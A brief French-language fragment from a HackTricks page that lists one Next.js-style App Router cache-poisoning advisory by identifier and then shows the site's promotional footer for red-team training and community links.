• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.